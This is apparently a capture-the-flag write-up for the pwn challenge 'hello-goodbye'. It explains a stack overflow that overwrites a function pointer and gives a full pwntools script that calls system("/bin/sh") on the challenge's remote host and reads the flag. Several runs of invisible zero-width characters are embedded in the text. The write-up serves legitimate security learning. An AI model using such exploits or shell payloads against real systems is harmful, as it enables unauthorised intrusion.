← Back to Writeups
CUSTOMEasypwn

hello-goodbye

XESXOR9/2/20263 min read
#pwn#custom#easy#function_pointer_overwrite#ret2system#stack_buffer_overflow#linux

hello-goodbye

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: function_pointer_overwrite, ret2system, stack_buffer_overflow

Summary

Task: NON-PIE 64-bit ELF reads 0x80 bytes into a 0x30 stack buffer, overflowing an on-stack function pointer that is then called with rdi pointing at the buffer. Solution: overwrite the function pointer (offset 0x28) with system@plt and place "/bin/sh" at the start of the buffer, turning the indirect call into system("/bin/sh") — no libc leak needed.

hello-goodbye — pwn_spbctf

Description

Привет или пока. Выбирать только тебе.

English: "Hello or goodbye. The choice is yours." A 64-bit x86-64 ELF (hello-goodbye.elf) is provided along with libc-2.31.so. Remote service at nc 109.233.56.90 11670. Goal: pop a shell and read the flag.

Analysis

checksec: NON-PIE (base 0x400000), NX enabled, Partial RELRO, no stack canary.

Relevant functions:

  • show_memory() @ 0x401182 — runs system("cat /proc/$PPID/maps") at startup (string at 0x402076). This prints the process memory map and is a built-in libc-base leak helper. It is not needed for this solve.
  • hello() @ 0x4011ad / goodbye() @ 0x4011d4 — each just printf("Hello/Goodbye, %s", buf).
  • main() @ 0x4011fb:
    • buf @ rbp-0x30 (0x30 bytes), function pointer fptr @ rbp-0x8.
    • scanf("%d", choice@rbp-0x34). choice 1 → fptr=&hello, 2 → fptr=&goodbye.
    • printf("Enter your name: ").
    • read(0, buf=rbp-0x30, 0x80) — reads 0x80 bytes into a 0x30 buffer → overflow.
    • calls fptr (loaded from rbp-0x8) via call rdx, with rdi = buf. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The overflow trivially reaches fptr at offset 0x28 (rbp-0x30 .. rbp-0x8). With no canary in the way, we control the function pointer directly.

Two facts make this a clean ret2system with no leak:

  1. The binary imports and PLT-resolves system: system@plt = 0x401040. Because the binary is NON-PIE, this address is fixed.
  2. The indirect call passes rdi = buf — i.e. our own input — to the callee.

Solution

Overwrite fptr with system@plt and place "/bin/sh\0" at the very start of buf. The indirect call then becomes system("/bin/sh") because rdi already points at the start of the buffer. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Payload sent at the read:

b"/bin/sh\x00".ljust(0x28, b"A") + p64(0x401040)

Interaction: read the menu (recvuntil(b'goodbye')), choose 1 (sendline(b'1')), wait for Enter your name: , send the payload, then drop into the resulting shell and read the flag.

python
#!/usr/bin/env python3
# hello-goodbye.elf (NON-PIE, no canary): main reads choice, sets a function pointer
# fptr (rbp-0x8) to hello/goodbye, then read(0, buf=rbp-0x30, 0x80) -> overflow,
# then call fptr with rdi=buf. Overwrite fptr (offset 0x28) with system@plt and put
# "/bin/sh" at the start of buf -> system("/bin/sh"). NON-PIE => system@plt fixed.
from pwn import *
context.arch = 'amd64'; context.log_level = 'info'
HOST, PORT = '109.233.56.90', 11670
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SYSTEM_PLT = 0x401040

io = remote(HOST, PORT)
# main: show_memory() prints /proc/PPID/maps, then prints the menu, then prompts choice
io.recvuntil(b'goodbye')          # menu printed
io.sendline(b'1')                 # choose hello
io.recvuntil(b'Enter your name: ')

payload  = b'/bin/sh\x00'
payload  = payload.ljust(0x28, b'A')
payload += p64(SYSTEM_PLT)
io.send(payload)

io.sendline(b'cat /flag* /flag 2>/dev/null; id')
print(io.recvall(timeout=4).decode(errors='replace'))
io.close()

The shell runs (id shows uid=6(man)) and cat /flag* prints the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍